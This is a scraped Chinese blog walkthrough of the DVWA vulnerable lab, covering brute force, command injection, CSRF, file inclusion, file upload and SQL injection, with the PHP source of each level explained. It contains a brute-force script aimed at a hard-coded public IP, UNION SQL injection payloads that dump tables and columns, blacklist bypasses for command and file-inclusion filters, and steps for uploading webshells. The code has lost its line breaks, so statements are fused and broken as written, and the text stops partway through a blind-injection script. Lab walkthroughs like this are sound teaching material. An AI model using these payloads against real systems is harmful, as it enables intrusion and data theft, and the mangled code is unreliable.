当前位置: 首页 > news >正文

DVWA靶场通关和源码分析

文章目录

  • 一、Brute Force
    • 1.low
    • 2、medium
    • 3、High
    • 4、Impossible
  • 二、Command Injection
    • 1、Low
    • 2、Medium
    • 3、High
  • 三、CSRF
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 四、File Inclusion
    • 1、Low
    • 2、Medium
    • 3、High
  • 五、File Upload
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 六、 SQL注入
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 七、SQL盲注
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 八、Weak Session IDs
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 九、XSS(DOM)
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 十、XSS(Reflected)
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossiblle
  • 十一、XSS(Stored)
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 十二、 CSP Bypass
    • 1、Low
    • 2、Medium
    • 3、High
    • 4、Impossible
  • 十三、JavaScript
    • 1、Low
    • 2、Medium
    • 3、High

一、Brute Force

1.low

简单爆破脚本:

import requestss = requests.session()headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0','Cookie': 'PHPSESSID=02t5fg1bf27dpm9lk6il83b8k7; security=low'
}f = open('password.txt', 'r',encoding='utf-8')
while 1:password=f.readline().rstrip()if not password or not password:breakurl = f'http://121.40.115.95/vulnerabilities/brute/?username=admin&password={password}&Login=Login#'resp = s.get(url, headers=headers)if 'Username and/or password incorrect.' not in resp.text:print(password)break

源码分析:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "<p>Welcome to the password protected area {$user}</p>";$html .= "<img src=\"{$avatar}\" />";}else {// Login failed$html .= "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

从GET请求中获取username和password,password用md5加密后直接放入数据库查询,有结果则将查询到的avatar字段数据提取出来,应该是对应某个图片名称,然后放出图片。

2、medium

源码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input$user = $_GET[ 'username' ];$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "<p>Welcome to the password protected area {$user}</p>";$html .= "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );$html .= "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

仅仅只是在GET请求获取的username和password处增加了mysqli_real_escape_string()的处理,转义sql语句中的字符,防止sql注入,对暴力破解依旧没有防备。

3、High

源码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successful$html .= "<p>Welcome to the password protected area {$user}</p>";$html .= "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );$html .= "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();
?>

这里主要增加了checkToken()函数,用于判断token是否正确,在访问页面前,会先生成一个token然后返回到客户端并hidden起来,请求的时候会带上token,因此,可以使用burpsuite的宏正则进行爆破,因为token是提前预知的。

在这里插入图片描述

在这里插入图片描述

4、Impossible

<?phpif( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time       = 15;$account_locked     = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {// User locked out.  Note, using this method would allow for user enumeration!//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout    = $last_login + ($lockout_time * 60);$timenow    = time();/*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked<br />";}}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar       = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login   = $row[ 'last_login' ];// Login successful$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";$html .= "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedback$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>

Impossible级别主要是教如何防护,可以看到源代码中使用了prepare进行了PDO预编译来防止SQL注入,这样所有的数据都会被当成字符处理,同时对于暴力破解,用数据库中的fail_login和last_login字段,fail_login用于记录次数,last_login记录时间,一旦登录失败三次,将当前时间和最后登录时间对比,锁住十五秒。

二、Command Injection

1、Low

在这里插入图片描述

源码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>";
}?>

先判断操作系统类别,然后使用shell_exec()函数执行target,类似函数还有exec(),passthru(),system()等,对target没进行任何限制,导致可以使用管道符拼接,多命令执行。

2、Medium

源码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';'  => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>";
}?>

黑名单过滤了;和&&,但是拼接命令不只有这些,还有|等,区别在于,&&要前一条命令执行成功才执行下一条,||则是上一条命令执行失败。
在这里插入图片描述

3、High

源码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist$substitutions = array('&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>";
}?>

又是黑名单,过滤了很多拼接字符,但是注意第三个|后面多了个空格,我们使用|| 就会导致| 先被匹配了,|| 就换变成| ,后面就匹配不成功了,依旧可以导致命令执行。

在这里插入图片描述
在这里插入图片描述

三、CSRF

1、Low

源码:

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the user$html .= "<pre>Password Changed.</pre>";}else {// Issue with passwords matching$html .= "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

主要是更改密码的操作,但是源码中并没有做任何检测,因此,假如一个人开启了网站没有关闭,诱导点击链接,可以达到更改密码的效果。
在这里插入图片描述
在这里插入图片描述

2、Medium

源码:

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the user$html .= "<pre>Password Changed.</pre>";}else {// Issue with passwords matching$html .= "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted source$html .= "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

相比于Low,这里增加了一个if的判断,判断数据包中Referer的值是否出现主机名即IP地址

3、High

源码:

<?php$change = false;
$request_type = "html";
$return_message = "Request Failed";if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN'];$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true;}
} else {if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"];$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true;}
}if ($change) {// Check Anti-CSRF tokencheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );// Feedback for the user$return_message = "Password Changed.";}else {// Issue with passwords matching$return_message = "Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if ($request_type == "json") {generateSessionToken();header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {$html .= "<pre>" . $return_message . "</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

很明显,High增加了对token的判断,需要用户客户端的token才能进行修改,需要联合其它漏洞事先获取到用户的token。

4、Impossible

源码:

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the user$html .= "<pre>Password Changed.</pre>";}else {// Issue with passwords matching$html .= "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

源码中看到需要输入当前密码才能进行密码修改,如果当前密码不成功,则不进行数据库密码更改操作,因此不可能进行跨站请求伪造的行为。

四、File Inclusion

1、Low

在这里插入图片描述
源码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];?> 

2、Medium

源码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );?>

将…/,http://等置空,对本地包含绝对路径没有影响,如果要使用http远程包含,直接双写绕过。
在这里插入图片描述

3、High

源码:

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit;
}?>

使用fnmatch()匹配file开头的字符串,伪协议file://即可

在这里插入图片描述

五、File Upload

1、Low

在这里插入图片描述
在这里插入图片描述
源码:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}
}?>

直接接收文件,并且保存到网站根目录下hackable/uploads目录下,直接传一句话木马即可。

2、Medium

在这里插入图片描述
源码:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

只是对上传的type进行了检测,必须是jpeg或png,直接修改Content-Type即可。

3、High

在这里插入图片描述

然后将图片马上传,这样肯定是不够的,因为还得让图片被PHP代码解析,才能触发里面的一句话木马,可以利用文件包含漏洞,解析图片。

在这里插入图片描述

源码:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No$html .= '<pre>Your image was not uploaded.</pre>';}else {// Yes!$html .= "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

通过截断符,截断文件名最后一个.前面的字符,同时使用getimagesize()获取图像信息,因此只能上传图片马。

4、Impossible

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// No$html .= '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid file$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

在High的基础上以时间+拼接文件名进行md5加密的形式重命名文件,重点是通过imagecreatefromjpeg函数对图片的内容进行了重新处理,使得图片马中的马被去掉。

六、 SQL注入

1、Low

1' union select 1,database()# 爆数据库1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆表1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据

在这里插入图片描述
源码:

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);break;

直接将输入的数据放进了数据库查询,当然也可以使用其它注入,都可以。

2、Medium

0 union select 1,database()0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 0 union select 1,group_concat(first_name) from dvwa.users 

源码:

<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);switch ($_DVWA['SQLI_DB']) {case MYSQL:$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last  = $row["last_name"];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}break;

虽然通过mysqli_real_escape_string()对单引号等特殊字符进行转移,但是这里用不着。

3、High

1' union select 1,database()# 爆数据库1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  爆表1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 爆字段1' union select 1,group_concat(first_name) from dvwa.users# 爆某字段数据

在这里插入图片描述

4、Impossible

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {$id = intval ($id);switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}break;case SQLITE:global $sqlite_db_connection;$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result = $stmt->execute();$result->finalize();if ($result !== false) {// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns = $result->numColumns();if ($num_columns == 2) {$row = $result->fetchArray();// Get values$first = $row[ 'first_name' ];$last  = $row[ 'last_name' ];// Feedback for end user$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}break;}}
}// Generate Anti-CSRF token
generateSessionToken();?>

将id规定为数字,并且采用了预编译防止sql注入,使得注入语句成为参数,确实防止了sql注入。

七、SQL盲注

1、Low

import requestss=requests.session()
url='http://121.199.77.45/vulnerabilities/sqli_blind/?id='
last='&Submit=Submit#'
headers={'Cookie':'PHPSESSID=bqjapbi0r6fs9aemuhkc2svn81; security=low','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
#proxy={'http':'http://127.0.0.1:8080'}
result=''
